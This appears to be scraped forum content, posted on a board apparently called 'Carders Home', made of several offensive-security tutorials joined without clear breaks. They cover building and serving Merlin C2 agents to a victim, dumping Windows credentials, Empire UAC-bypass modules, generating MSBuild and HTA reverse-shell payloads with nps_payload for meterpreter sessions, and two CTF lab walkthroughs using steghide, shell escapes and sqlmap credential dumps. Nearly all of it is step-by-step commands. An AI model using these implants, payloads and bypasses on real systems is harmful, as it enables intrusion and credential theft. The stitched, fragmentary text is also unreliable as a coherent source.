As you can see the tool merlin is still not running properly as there is no SSL certificate given to it. If you navigate through the /opt/merlin directory, you will find a directory named data in which there is an SSL certificate. Copy the data folder into the merlinserver directory as shown in the image below:
![[Image: 7.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-6nFk4qvFjew/XIdw50vWsQI/AAAAAAAAdes/zcYzdyxiRqYzVZBPC5v5lm1REmr30g3QwCLcBGAs/s1600/7.png?w=687)
Now if you run merlin using the command: go run main.go, merlin server will run successfully.
![[Image: 8.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-Vfh4YaQTIFM/XIdw6E-pHtI/AAAAAAAAdew/9jqXvFK3AucCyyS1vF73bwJlVwEEaVaHgCLcBGAs/s1600/8.png?w=687)
Now using the following help command you can see, as shown in the image, the arguments that you can use to run your commands as desired:
go run main.go -h
1
go run main.go -h
![[Image: 9.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-j5TYsnldQ6o/XIdw67HrYQI/AAAAAAAAde0/ATmEJa-jn6IrMzWWaa8DKfvD3BFcgD2rgCLcBGAs/s1600/9.png?w=687)
Windows exploitation
Now, to make Merlin agent for windows type the following command:
GOOS=windows GOARCH=amd64 go build -ldlags "-X main.url=//192.168.0.11:443" -o shell.exe main.go
1
GOOS=windows GOARCH=amd64 go build -ldlags "-X main.url=//192.168.0.11:443" -o shell.exe main.go
Now, share the shell with the target using the python server:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 10.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-CYOfMgPcJ0A/XIdwyHuhkSI/AAAAAAAAddY/g_rTf3RO68ghU43_vaiV09ZZyXe1TliqQCLcBGAs/s1600/10.png?w=687)
In order to create a listener for the shell to revert, use the following command:
go run main.go -i 192.168.0.11
1
go run main.go -i 192.168.0.11
![[Image: 12.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-nhufYWFhnoI/XIdwyJw-AGI/AAAAAAAAddc/TGeUG7TdQks21of99ehorb-sOSMwrxhxACLcBGAs/s1600/12.png?w=687)
And just like that, you will have your session as shown in the image above. Now, use the help command to see all the options as shown in the image given below:
![[Image: 13.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-So55jRusNqk/XIdwyzI-1jI/AAAAAAAAddg/46FNLODYyKwz02T6w469efZngs6TEA7MACLcBGAs/s1600/13.png?w=687)
Type sessions to see the list of the sessions you acquire as shown in the image below:
![[Image: 14.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-7alRGs1oT_g/XIdwzCIzkVI/AAAAAAAAddo/MD9f-j29H4kGIMrRORgCmMXB-D2fIiznQCLcBGAs/s1600/14.png?w=687)
To access than an available session uses the following command:
interact <session name>
1
interact <session name>
![[Image: 15.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-Dk1ZYsifN2E/XIdwzMTZDoI/AAAAAAAAddk/hnkeu9b1kdgyv-zNBP99snV1XQQUfjWlQCLcBGAs/s1600/15.png?w=687)
As you have accessed the session, here you can use windows commands such as:
shell ipconfig
1
shell ipconfig
![[Image: 16.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-6rSaiYggKYw/XIdwzp0c2QI/AAAAAAAAdds/AdH6RAF2BWgtXT3c_enJ6rX_x0l8cxb0wCLcBGAs/s1600/16.png?w=687)
Then further you can use various post exploitation modules, list of which are shown in the image below:
![[Image: 17.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-1mLNUe85h-8/XIdw0CRxaLI/AAAAAAAAddw/tdLC2kSOLs4c4GfKvyeIgYOgHhsyG3jvACLcBGAs/s1600/17.png?w=687)
Windows post exploitation
We will be using a module here to dump the credentials of windows and to activate the said post exploitation module type:
use module windows/x64/powershell/credentials/dumpCredStore
1
use module windows/x64/powershell/credentials/dumpCredStore
![[Image: 18.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-7C6ZkII0iU0/XIdw0oFDh3I/AAAAAAAAdd0/q6IT59NWWP0IycnyiWHFzVr129CDFaGXwCLcBGAs/s1600/18.png?w=687)
As you can see in the image above that info commands gives us all the details about the module including the options that we need to specify in the module. So, therefore, let’s set the options:
set agent <agent name>
run
1
2
set agent <agent name>
run
![[Image: 19.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-GsNqEVtYcHs/XIdw1DleFzI/AAAAAAAAdd4/WHTAaw3pHnkMtLTZ1FA_qeVsaPVrbqCoACLcBGAs/s1600/19.png?w=687)
Linux exploitation
Now, we will make a merlin agent for Linux machine. For this, simply type the following command:
Export GOOS=linux;export GOARCH=amd64; go build -ldflags "-s -w -X main.url=//192.168.0.11:443" -o shell.elf main.go
1
Export GOOS=linux;export GOARCH=amd64; go build -ldflags "-s -w -X main.url=//192.168.0.11:443" -o shell.elf main.go
Once the command is executed, your malware will be created. Use the python to share the file with the victim as shown in the image below or however see it fit. For starting python HTTP server:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 20.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-VGAr3dnPm0o/XIdw1xpFLyI/AAAAAAAAdeA/ID1E9QcnCtca1Pk8J3hLaYix-z_UVsKBQCLcBGAs/s1600/20.png?w=687)
Setup the listener and wait for the file to get executed.
go run main.go -I 192.168.0.11
1
go run main.go -I 192.168.0.11
![[Image: 22.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-Ooxrg5H6X8I/XIdw1ysnAtI/AAAAAAAAdeE/jX68Auv0k98gIqp7rHsjmvBOV8_tzKL5ACLcBGAs/s1600/22.png?w=687)
And as shown in the image above, you will have your session. Then type sessions to see the list of sessions gained.
![[Image: 23.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-lRp5wx27rcU/XIdw2kg01LI/AAAAAAAAdeI/QQrmwDojVbU44Vke9RpxiF4nTNiNzMRqgCLcBGAs/s1600/23.png?w=687)
Then to access the session use the following command:
interact <session name>
1
interact <session name>
![[Image: 24.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-YZoVuOf2gy4/XIdw3ER35cI/AAAAAAAAdeM/Rk_uXLCqVzAvG1qqzQBqB5g7tV0PpK4agCLcBGAs/s1600/24.png?w=687)
Then further you can use any Linux command such as:
shell ls
1
shell ls
![[Image: 25.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-y22di9bTdog/XIdw3i1OdoI/AAAAAAAAdeQ/b28VL0MZcjIOzpWE619KEoxePBLhP-fIACLcBGAs/s1600/25.png?w=687)
Linux post exploitation
Even in Linux, you can further use a number of post-exploitation modules. The one we will be using in this article is privesc/LinEnum:
use module linux/x64/bash/priesc/LinEnum
1
use module linux/x64/bash/priesc/LinEnum
![[Image: 26.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-0Qd2HAOJvfE/XIdw4P6DmGI/AAAAAAAAdeU/wz9Hc9_7NEcCqTU6lak3AIBwmIMqc9fbACLcBGAs/s1600/26.png?w=687)
Through info command, we know that we have to give a session in order to run this module. So, type:
set agent <session name>
run
1
2
set agent <session name>
run
![[Image: 27.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-vOYBM0XwBi8/XIdw4yR9B7I/AAAAAAAAdeY/izTmymjG6YEXgUJvYqd12-NjF4ZSBUF2wCLcBGAs/s1600/27.png?w=687)
And this way your module will run. Try and work with Merlin c2 tool as its one of best and as you can see how convenient it is crossed-platformed.
|
|
|
|
| [Guide] How to unknowndevice64: 1: Vulnhub Lab Walkthrough |
|
Posted by: NINZA - 05-14-2020, 11:53 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends! Today we are going to take another boot2root challenge known as “unknowndevice64: 1”. The credit for making this VM machine goes to “Ajay Verma” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download this VM [To see content please register here] .
Security Level: Beginner
Penetrating Methodology:
- IP Discovery using netdiscover
- Network scanning (Nmap)
- Surfing HTTP service port
- Finding image File
- Extracting the hidden file from the image
- Logging in through SSH
- Escaping restricted shell
- Finding binary in sudoers list
- Getting the root shell and finding the flag
Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
![[Image: 1.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-nIVQ7iS3QZs/XIahe14VQCI/AAAAAAAAdaY/DwjRYOPW2U8x1bc1M021LaZKnyVygNYDwCLcBGAs/s1600/1.png?w=687)
We found our target –> 192.168.1.104
Our next step is to scan our target with nmap.
nmap -p- -sV 192.168.1.104
1
nmap -p- -sV 192.168.1.104
![[Image: 2.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-HQwNuBQOf9k/XIahgfwN8NI/AAAAAAAAdas/X76EW6wWVAQZJG1dYUaE_3___nBlm3C5wCLcBGAs/s1600/2.png?w=687)
The NMAP output shows us that there are 2 ports open: 1337(SSH), 31337(HTTP)
We find that port 31337 is running HTTP, so we open the IP in our browser. Here we find a string “h1dd3n” that might be a hint or a password for something.
![[Image: 3.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-NmxIlqz2xyg/XIahhGyacoI/AAAAAAAAdaw/lncDMfFu7d07jdxL_VARuzgS-UhBk_tVgCLcBGAs/s1600/3.png?w=687)
We take a look at the source code of the web page and inside a comment, we find a string called “key_is_h1dd3n.jpg”.
![[Image: 4.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-hDL0BXDXJXI/XIahheRvW7I/AAAAAAAAda0/KJF-5AvNrhUPVT6M6M6yDFaxzqWssVjaACLcBGAs/s1600/4.png?w=687)
We open the image in our browser and download it in our system.
![[Image: 5.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-lGs33-pS2qM/XIahhvMnquI/AAAAAAAAda4/0ld5nHOmRYQFocxtSAVgNlOA1sUyrdIiQCLcBGAs/s1600/5.png?w=687)
After downloading the image, we use steghide to extract any hidden file from the image. When we try to extract files using steghide, it prompts for a password. We use the password “h1dd3n” we found earlier on the webpage and were successfully able to extract a text file. We take a look at the content of the text file and find a brain fuck encoded string.
steghide extract -sf key_is_h1dd3n.jpg
1
steghide extract -sf key_is_h1dd3n.jpg
![[Image: 6.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-fwQgjWR2OKQ/XIahh2Z2bII/AAAAAAAAda8/pukyTabVD3oCw5RmJi4pxi2IZMMiEYxvACLcBGAs/s1600/6.png?w=687)
We decode the brainfuck encoded string using this [To see content please register here] and find a username and password.
Username: ud64
Password: 1M!#64@ud
1
2
Username: ud64
Password: 1M!#64@ud
![[Image: 7.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-DDgGH7Hw6PE/XIahibIv1dI/AAAAAAAAdbA/umLz47ZeMPs_kK9JwKgGOllWuFHBjENSQCLcBGAs/s1600/7.png?w=687)
As port 1337 is running SSH, we use the credentials we found above to log in. After logging in through SSH we find that we have a restricted shell, and PATH and SHELL environment variable are read-only.
ssh [email protected] -p 1337
1
ssh [email protected] -p 1337
![[Image: 8.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-N2urY-F0c-k/XIahikdmiLI/AAAAAAAAdbE/p68DaFHGR5YGOit6vM_r1zkTxE8HqdrPwCLcBGAs/s1600/8.png?w=687)
After pressing the “tab” button twice, we find the commands we can run using the restricted shell. Among that command, we find that we can use the Vi editor. We use Vi editor to escape the restricted shell.
:!/bin/bash
1
:!/bin/bash
![[Image: 10.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-IvwFwFiKb44/XIahfBAO5vI/AAAAAAAAdac/JB_fhfMYy5oILGff3H3Hk3oJruUCTTZPwCLcBGAs/s1600/10.png?w=687)
After escaping the restricted shell, we export “/bin/bash” as our SHELL environment variable and “/usr/bin” as our PATH environment variable so that we can run Linux commands properly. Now we check sudoers list and find we can run “/usr/bin/sysud64” as root without a password.
export PATH=/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
sudo -l
1
2
3
export PATH=/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
sudo -l
![[Image: 11.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-Swvvnh9p0ss/XIahfFHtuGI/AAAAAAAAdag/4qXkfaAnUacSHoR7_pW7A1VbIeSz5VuJACLcBGAs/s1600/11.png?w=687)
On checking the help for “sysud64”, we find that it is actually executing strace.
sudo sysud64 -h | less
1
sudo sysud64 -h | less
![[Image: 12.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-W72Mh6wQJxw/XIahfx5m1GI/AAAAAAAAdak/SGpkaJEFSPkICA-byR5blqm2xh5HgI3IgCLcBGAs/s1600/12.png?w=687)
As we can run sysud64 as root and sysud64 are actually running the strace command. We can spawn a shell as root user using “sysud64”. After spawning a shell as the root user, we switch to the root directory and read our final flag.
sudo sysud64 -o /dev/null /bin/sh
1
sudo sysud64 -o /dev/null /bin/sh
![[Image: 14.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-W7W_Cd1CqHk/XIahgRBwU7I/AAAAAAAAdao/8Kbgdye5oNwP1Z-f0m-HIGEDkQg7lsCxACLcBGAs/s1600/14.png?w=687)
This is the fifth article in our empire series, for the basic guide to empire click [To see content please register here] . In this article, we will learn to bypass administrator privileges using various bypassuac post-exploitation methods.
Table of content :- Introduction
- Bypassuac_env
- Bypassuac_eventvwr
- Bypassuac_fodhelper
- Bypassuac_wscript
- Bypassuac
Introduction
UAC stands for User Account Control, which means which user has how many rights to make changes in the system. The rights are given too a user depends on the integrity levels; which are :- High : Administrator rights
- Medium : Standard user rights
- Low : Extremely restricted
UAC works by adjusting the permission level of our user account, and on the bases of this permission, it decides whether to run a program or not. When changes are made to this permission level, it notifies us but these modules help us to bypass UAC. When we try and gain the highest integrity that is indicated by the number 1.
Bypassuac_env
Let’s start with the first exploit i.e. bypassuac_env. Now, as you can see in the image, we already have an empire session with the integrity of 0, which means we do not have admin right. So type the following set of commands to get administrator privileges :
usemodule privsec/bypassuac_env
set Listener http
execute
1
2
3
usemodule privsec/bypassuac_env
set Listener http
execute
Executing the above module will give you a new session. Upon accessing the said session you can see the integrity has to change to 1, which means no we have administrator rights, just as shown in the image below :
![[Image: 1.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-uQXMGQHrNeE/XIOMEASXg6I/AAAAAAAAdZ4/nJdMpP9M3kER8bm1P703wl09We_2xhtJgCLcBGAs/s1600/1.png?w=687)
bypassuac_eventvwr
Now, let’s try another exploit which is privsec/bypassuac_eventvwr. The function of this module is the same as before i.e. to get administrator rights so we can attack more effectively. This module makes changes in the registry key and inserts a custom command which is then executed when windows event viewer is launched. This custom command will turn the UAC flag off. And, as you can see, we have the session with the integrity of 0 which indicates we have no admin rights yet. So, run the following commands :
usemodule privsec/bypassuac_eventvwr
set Listener http
execute
1
2
3
usemodule privsec/bypassuac_eventvwr
set Listener http
execute
As you can see, we have a new session with the integrity of 1 which confirms that we now have admin rights.
![[Image: 2.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-YNzH06gNHBA/XIOMEACoGNI/AAAAAAAAdZ0/rrjVrp-yBSM_FPS0RpUDFYpK9K_nJGN3gCLcBGAs/s1600/2.png?w=687)
Bypassuac_fodhelper
The next module we will use for the same purpose is privesc/bypassuac_fodhelper. This module will gain administrator rights by hijacking a special key in the registry and inserting custom command that will get invoked when windows fodhelper.exe application will be executed. It covers its tracks by getting rid of the key after the payload is invoked. Now, just like before use the following set of commands :
usemodule privesc/bypassuac_fodhelper
set Listener http execute
1
2
usemodule privesc/bypassuac_fodhelper
set Listener http execute
Once the module is executed, you will have the session with the integrity of 1, hence we are successful in attaining the admin rights.
![[Image: 3.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-zynR7_s0KUY/XIOMEIvdg0I/AAAAAAAAdZ8/Zu1eEkBUs84iI5s8mwd25P62TQIV3d0xwCLcBGAs/s1600/3.png?w=687)
bypassuac_wscript
Next the bypassuac module we will use is privesc/bypassuac_wscript. When using wscript for UAC bypass, there is no need for you to send a dll to the target. As wscrpit.exe does not has embedded manifestation, it’s easy to abuse it. And similarly, to have administrator privileges use the following commands :
usemodule privesc/bypassuac_wscript
set Listener http
execute
1
2
3
usemodule privesc/bypassuac_wscript
set Listener http
execute
As you can see in the image, the new session that we have gained is with admin rights.
![[Image: 4.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-yE4Del2g_8Q/XIOMFLDzDzI/AAAAAAAAdaA/NcNr9577sUsc7npPOvhV2hsmdOInHUx1QCLcBGAs/s1600/4.png?w=687)
bypassuac
The last module we will use for the same purpose is privesc/bypassuac, this is a trivial process. To execute the following commands :
usemodule privesc/bypassuac
set Listener http
execute
1
2
3
usemodule privesc/bypassuac
set Listener http
execute
![[Image: 5.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-emcoKevLvsM/XIOMFczhGjI/AAAAAAAAdaE/Z7HzkMqIOQk9O-wc9s0wh3x9GyiokhPdgCLcBGAs/s1600/5.png?w=687)
As you can see in the image above, the new session gained has the integrity of 1 hence the administrator rights are gained.
In this article, we will create payloads using a tool named nps_payload and get meterpreter sessions using those payloads. This tool is written by [To see content please register here] and [To see content please register here] . Find this tool on [To see content please register here] .
Attacker: Kali Linux
Target: Windows 10
Table of Content:- Downloading and Installing
- Getting session using MSBuild
- Getting session using MSBuild HTA
Downloading and Installing
First, we will get the tool in our attacker machine. It is Kali Linux in our case. The tool is available at GitHub. We will use the git clone command to download it on our machine.
git clone //github.com/trustedsec/nps_payload.git
1
git clone //github.com/trustedsec/nps_payload.git
![[Image: 1.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-5nL2LYPeF3k/XIJt2CniV3I/AAAAAAAAdYo/Kh5xmE4Y0boCzNvfYdR6NVG5p9ADzUE1ACLcBGAs/s1600/1.png?w=687)
Now we will traverse inside the folder that was downloaded using the git clone, we can check that if we have successfully downloaded the file using ls command. After that use cd to get inside the nps_payload folder. There are some requirements that are required for the nps_payload to run. Those are mentioned inside in the requirements text file. Now we can either install each of those requirements individually but that would be time taking. We will use the pip install command and then mention the requirements file. It will automatically pick the requirements from the file and install it.
pip install -r requirements.txt
1
pip install -r requirements.txt
![[Image: 2.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-BXMxpE3DXD4/XIJt3pOi9qI/AAAAAAAAdY8/RnHvxz2UqBQEcTHPgoj9I5JdxovpJ0jKgCLcBGAs/s1600/2.png?w=687)
Getting session using MSBuild
Now that we have successfully downloaded the tool and installed the requirements now it’s time to launch the tool and create some payloads and get some sessions. To launch the tool, we can either use command
python nps_payload.py
1
python nps_payload.py
or we could just
./nps_payload.py
1
./nps_payload.py
After launching the tool, we are given options to choose the technique we need to use. Is it going to be a default msbuild payload or the one in the HTA format? We are going to use both but first, we will choose the default msbuild payload. Next, we have to choose the type of payload, is going to be reverse_tcp or reverse_httpor reverse_https or a custom one. We can choose anyone, but here we are choosing the reverse_tcp.
Following this, we are asked to enter the Local IP Address. This is the IP address of the machine where we want the session to reach. That is the attacker machine. In our case, it is Kali Linux. After that, we are asked to enter the listener port. It is selected 443 by default. We are not changing it. That’s it, we are now told that the payload is successfully created as a msbuild_nps.xml file. Also, we are told to start a listener.
![[Image: 3.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-kTFEmmUB0hQ/XIJt4EQvIXI/AAAAAAAAdZA/KAKU7bLXhi8hXAz_YW4YULpdXhYFHJTtQCLcBGAs/s1600/3.png?w=687)
We will start the listener before anything else. To do this we have to be inside the nps_payload folder. Now the author has provided us with a script that will create a listener for us. So, we will run it as shown below.
msfconsole -r msbuild_nps.rc
1
msfconsole -r msbuild_nps.rc
![[Image: 4.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-fdPSrwSzRBs/XIJt4AUCbWI/AAAAAAAAdZE/YO9yupBH9CoKYbWnQNN7A3u4_GSEtVWcgCLcBGAs/s1600/4.png?w=687)
Let’s check the file that we created earlier using the ls command. Now to send the file to the target we will host the directory using the HTTP server as shown below:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 5.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-zJtYaySrWFA/XIJt4tddE3I/AAAAAAAAdZI/NTwxDjcZIu0MNkUFuiT5hGIG8c-RF2ivACLcBGAs/s1600/5.png?w=687)
Now onto the target machine. We browse the IP Address of the attacker machine and we see that we have the file msbuild_nps.xml. Now to use the msbuild to execute this XML file, we will have to shift this payload file inside this path:
C:\Windows\Microsoft.NET\Framework\v4.0.30319
![[Image: 6.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-lxC4uVaMjBw/XIJt4692sjI/AAAAAAAAdZM/oOBgdTz7Bs8MnIuSOV1yR3kVbGWbWYeCwCLcBGAs/s1600/6.png?w=687)
Once we got the nps_payload.xml file inside the depicted path. Now we need a command prompt terminal (cmd) at that particular path. After we have a cmd at this path we will execute the nps_payload command as shown below.
MSBuild.exe msbuild_nps.xml
1
MSBuild.exe msbuild_nps.xml
![[Image: 7.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-m_-4vTWz1Q8/XIJt5T8nxNI/AAAAAAAAdZQ/69WKYeJ9uE8vThNvP8W_9_QQHvzncr_sQCLcBGAs/s1600/7.png?w=687)
Now back to our attacker machine, here we created a listener earlier. We see that we have a meterpreter session. This concludes out the attack.
NOTE: If a session is not opened, please be patient. It sometimes takes a bit of time to generate a stable session.
![[Image: 8.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-zkJWAN5skX8/XIJt5h51S7I/AAAAAAAAdZU/ApQEnUk3UG4ZFK8wBS_0b_iABxNR_RTCACLcBGAs/s1600/8.png?w=687)
Getting session using MSBuild HTA
Let’s get another session using the HTA file. To do this we will generate an HTA file. First, we will launch the tool using the command below.
./nps_payload.py
1
./nps_payload.py
After launching the tool, we are going to choose the HTA payload. Next, we have to choose the type of payload, is going to be reverse_tcp or reverse_httpor reverse_https or a custom one. We can choose anyone, but here we are choosing the reverse_tcp.
Following this, we are asked to enter the Local IP Address. This is the IP address of the machine where we want the session to reach. That is the attacker machine. In our case, it is Kali Linux. After that, we are asked to enter the listener port. It is selected 443 by default. We are not changing it. That’s it, we are now told that the payload is successfully created as msbuild_nps.hta file. Also, we are told to start a listener.
![[Image: 9.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-IvPGHgXZHiE/XIJt55LDpGI/AAAAAAAAdZY/54-dS-TBbvQb9xi7dxKuRupHsuoWp8mOgCLcBGAs/s1600/9.png?w=687)
We will start the listener as we did earlier.
msfconsole -r msbuild_nps.rc
1
msfconsole -r msbuild_nps.rc
![[Image: 10.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-8t0ZXnh2TKI/XIJt2PSCAUI/AAAAAAAAdYs/zGB9igHdRqMRhXm04YUlxcKiRBgt91IbACLcBGAs/s1600/10.png?w=687)
Let’s check the file that we created earlier using the ls command. Now to send the file to the target we will host the directory using the HTTP server as shown below:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 11.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-3TNreN10dSo/XIJt16M6JZI/AAAAAAAAdYk/TXLoL0NwaXsAxp9MAJ2U4ylF7Slc8z4qgCLcBGAs/s1600/11.png?w=687)
Now onto the target machine. We browse the IP Address of the attacker machine and we see that we have the file msbuild_nps.hta. Right click on it and choose to Save the Link As. This will download the payload.
![[Image: 12.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-eSSOe6OmDUQ/XIJt2jsUdNI/AAAAAAAAdYw/ecqQBQA7S0UYVrMiGlh6FARMPVF5Zv9RwCLcBGAs/s1600/12.png?w=687)
Once we got the nps_payload.hta file. Now we need a command prompt terminal (cmd) at that path where we saved the payload file. In our case is the Downloads Folder of the current user. After we have a cmd at this path we will execute the nps_payload command as shown below.
mshta.exe msbuild_nps.hta
1
mshta.exe msbuild_nps.hta
![[Image: 13.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-NJxHEcTNfc0/XIJt2006CXI/AAAAAAAAdY0/D0PtZrynDZECZM6uSQyv3iTMIG81X0fagCLcBGAs/s1600/13.png?w=687)
Now back to our attacker machine, here we created a listener earlier. We see that we have a meterpreter session. This concludes the attack.
NOTE: If a session is not opened, please be patient. It sometimes takes a bit of time to generate a stable session.
![[Image: 14.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-TuGNfV2s3Us/XIJt24GCHvI/AAAAAAAAdY4/HRde0Qmu-vMvkRCLIBTuFZ4rJGOd0CEmQCLcBGAs/s1600/14.png?w=687)
Today we are going to solve another CTF challenge “Casino Royale: 1”. It is a vulnerable lab presented by author creosote for helping pentesters to perform online penetration testing according to your experience level. The challenge is to get root on the Targeted Virtual Machine and read the flag.sh within that directory.
Difficulty: Intermediate
Penetrating Methodologies
- IP discovery and Port Scanning.
- Browsing the IP on port 8080.
- Discovering accessible directories on the victim’s machine.
- Searching exploits via searchsploit.
- Using SQLMAP to find database and login credentials.
- Browsing directories on the browser.
- Adding Domain name to /etc/hosts file.
- Searching exploits via searchsploit.
- Using Cross-Site Request Forgery Exploit code.
- Using telnet to connect to port 25.
- Tail off the access.log file.
- Browsing directories on a browser.
- Exploiting XML External Entity vulnerability.
- Using curl to send the file.
- Creating a PHP shell using msfvenom.
- Using hydra to brute force FTP login Password.
- Logging into Ftp.
- Using Multi/handler of Metasploit Framework.
- Enumerating through directories.
- Getting Login Credentials.
- Looking for SUID file and directories.
- Creating a bash shell using msfvenom.
- Using Netcat listener to get a reverse shell.
- Getting Root Access.
- Reading the Flag.
Walkthrough
Let’s start off with discovering the IP address of our Target Machine.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-DLJcMgeOa6c/XIILDsFEF8I/AAAAAAAAdVo/T8KdXzSp-OgpGTVR_jkypLC52bs0xjxRQCLcBGAs/s1600/1.png?w=687&ssl=1)
Then we’ll continue with our nmap command to find out the open ports and services.
nmap -sV -p- 192.168.1.102
1
nmap -sV -p- 192.168.1.102
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-C3BoMW0NhrE/XIILGWgrcLI/AAAAAAAAdWQ/FLEH5pOyWEUQD2yLLDs1yX6puzttR7Q3wCLcBGAs/s1600/2.png?w=687&ssl=1)
Since port 80 is open, we explored the Targets IP Address on the browser.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-OMceyLf53EA/XIILJ5rJx6I/AAAAAAAAdW8/a5kpuHedc4cSj1tm-P6TEGyP7UQeCL-iQCLcBGAs/s1600/3.png?w=687&ssl=1)
We didn’t found anything on the webpage, so we used dirb tool to enumerate the directories on the Targets IP Address.
dirb [To see content please register here]
1
dirb [To see content please register here]
Here, we found a useful directory index.php. Moving on.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Qk1S6ru-bNo/XIILPi3Se1I/AAAAAAAAdX0/x8UehpZ96zsgqOtB0tYYmmnyzoT8fNqowCLcBGAs/s1600/6.png?w=687&ssl=1)
We tried opening that directory index.php along with Targets IP Address in the browser. This page seems pretty interesting and gave us our next clue to proceed.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-oXvp4b7HSFY/XIILQHSHESI/AAAAAAAAdX4/VJFfgxa1dqQym9zJjZm4V4szcJKsT2qOQCLcBGAs/s1600/7.png?w=687&ssl=1)
The page revealed a pokermax software term. This made us curious to look for it in searchsploit. And our intuition was right. We copied the exploits 6766.txt file on our machine and read it contents. It revealed a link which we tried opening in the browser.
searchsploit poker
searchsploit -m 6766
cat 6766.txt
1
2
3
searchsploit poker
searchsploit -m 6766
cat 6766.txt
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-RUXRZHfAyk4/XIILQqoTyZI/AAAAAAAAdX8/ROCC-up-qBkjfYv1TXoLI00P5GR1Si7hwCLcBGAs/s1600/9.png?w=687&ssl=1)
That link we opened directed us to Pokermax Poker League: Admin Login. Since we don’t any credentials time to bring up SQLMAP.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-6Gospou3yXI/XIILDog5OrI/AAAAAAAAdVk/9HBIS3ldPbs0qi2f_CGtdCYCtp3zfGFjACLcBGAs/s1600/10.png?w=687&ssl=1)
Let’s first find the database.
sqlmap -u [To see content please register here] --forms --risk 3 --level 5 --dbs --batch
1
sqlmap -u [To see content please register here] --forms --risk 3 --level 5 --dbs --batch
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-LZ0qV0GU3J8/XIILDsmWD0I/AAAAAAAAdVg/7cxRlP0EQUMG-ZdIgNODM1q1Lg7kSDTcwCLcBGAs/s1600/11.png?w=687&ssl=1)
The database we found is pokerleague.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-WoftzmFyVMg/XIILEA6C_3I/AAAAAAAAdVs/D9fnMcoQwEIVhFH6-4ZPI8p8W1fZ53TFQCLcBGAs/s1600/12.png?w=687&ssl=1)
Let’s look for the credentials of Admin Login in the database pokerleague.
sqlmap -u [To see content please register here] --forms --risk 3 --level 5 -D pokerleague --dump-all --batch
1
sqlmap -u [To see content please register here] --forms --risk 3 --level 5 -D pokerleague --dump-all --batch
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-TOMTEmMMKYQ/XIILEUA9ozI/AAAAAAAAdVw/ihXcRoNSPfoLHWwMEJPuaIb6UDc14XwFACLcBGAs/s1600/13.png?w=687&ssl=1)
We have got the required credentials.
Username: admin
Password: raise12million
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-E8Mt_Cac7sY/XIILEtKkN1I/AAAAAAAAdV0/vBerEYEwpEgR_1IKIhr_I3UVS72RCWHBgCLcBGAs/s1600/14.png?w=687&ssl=1)
